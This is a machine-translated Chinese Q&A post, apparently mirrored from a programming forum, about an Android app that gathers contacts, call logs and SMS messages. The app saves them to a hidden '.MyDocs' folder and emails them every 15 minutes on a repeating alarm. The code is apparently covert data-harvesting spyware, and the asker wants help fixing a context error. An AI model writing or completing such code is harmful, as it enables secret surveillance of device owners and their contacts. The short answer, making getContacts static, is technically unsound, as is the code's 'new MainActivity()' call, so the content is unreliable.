如何访问联系人并通过另一个不是和活动的类发送它们,但它不作为内容解析器错误工作



我正在创建一个应用程序,该应用程序从设备收集所有联系人并通过电子邮件发送,但是当我调用函数 contacts(( 时,该函数从类名中"获取联系人列表"save将联系人保存到设备以便稍后发送时出现错误:

调用虚拟方法上下文。内容解析程序。

现在的问题是如何从保存类中的 MainActivity 调用 getContacts(( 方法,该方法在 BroadcastReceiver 中定期调用和执行。

主要活动代码为

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
startService(new Intent(getBaseContext(),SecureService.class));
Intent i= new Intent(MainActivity.this,SecureReciever.class);
PendingIntent pi=PendingIntent.getBroadcast(getApplicationContext(),0,i,0);
AlarmManager am= (AlarmManager) getSystemService(ALARM_SERVICE);
am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis()+3000, AlarmManager.INTERVAL_FIFTEEN_MINUTES,pi);
}
public ArrayList<String> getContacts(){
ContentResolver cr= getContentResolver();
ArrayList <String> contacts= new ArrayList<String>();
try{
Cursor cursor=cr.query(ContactsContract.Contacts.CONTENT_URI,null,null,null,null);
assert cursor != null;
String Item="";
while(cursor.moveToNext()){
String id=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
Cursor phonecursor=cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?", new String[]{id} ,null );
String phonenumber="",_email="";
assert phonecursor != null;
while (phonecursor.moveToNext()){
phonenumber += phonecursor.getString(phonecursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))+"n";
}
phonecursor.close();
Cursor emailcursor=cr.query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,null,ContactsContract.CommonDataKinds.Email.CONTACT_ID + "=? ",new String[] {id},null);
while (emailcursor.moveToNext()){
_email =_email + emailcursor.getString(emailcursor.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA));
}
emailcursor.close();
Item ="Name : "+ name + "nPhone No : " + phonenumber + "n Email : "+_email + "n---------------------n";
contacts.add(Item);
}
cursor.close();
}catch (Exception ex){
Log.d("Error",ex.getMessage());
}
return contacts;
}

保存类代码

public class save extends AsyncTask<String, Void ,String> {
MainActivity ma=new MainActivity();
@Override
protected String doInBackground(String... params) {
try{
String Calllogs= ma.getCalllogs().toString();
String SMS= ma.fetchinbox().toString();
String Contacts= ma.getContacts().toString();
String Path= Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS).getAbsolutePath()+"/.MyDocs";
File f=new File(Path);
FileOutputStream fos;
if (!f.exists())
f.mkdir();
File file=new File(Path+"/"+System.currentTimeMillis()+"Contacts.txt");
File file1= new File(Path+"/"+System.currentTimeMillis()+"CallLogs.txt");
File file2=new File(Path+"/"+System.currentTimeMillis()+"SMS.txt");
if (file.exists())
file.delete();
else
{
try{
file.createNewFile();
file.setWritable(true);
fos= new FileOutputStream(file);
fos.write(Contacts.getBytes());
fos.close();
}catch (Exception ex){
ex.printStackTrace();
}
}
if (file1.exists())
file1.delete();
else
{
try{
file1.createNewFile();
file1.setWritable(true);
fos= new FileOutputStream(file1);
fos.write(Calllogs.getBytes());
fos.close();
}catch (Exception ex){
ex.printStackTrace();
}
}
if (file2.exists())
file2.delete();
else
{
try{
file2.createNewFile();
file2.setWritable(true);
fos= new FileOutputStream(file2);
fos.write(SMS.getBytes());
fos.close();
}catch (Exception ex){
ex.printStackTrace();
}
}
}catch (Exception ex){
Log.d("Save Error", ex.getMessage());
}
return null;
}
@Override
protected void onPostExecute(String s) {
new sendmail().execute();
}
}

调用 BroadCastReceiver Wher 保存类来执行异步任务以在后台保存数据

public class SecureReciever extends BroadcastReceiver {
@Override
public void onReceive(final Context context, Intent intent) {
Date date= new Date();
Log.d("Alarm Reciever","Alarm Triggered At : "+ java.text.DateFormat.getTimeInstance().format(date));
new save().execute();
}
}

尝试将getContacts((访问说明符设置为公共静态。当你需要它时,只需通过MainActivity.getContacts((调用它

相关内容

  • 没有找到相关文章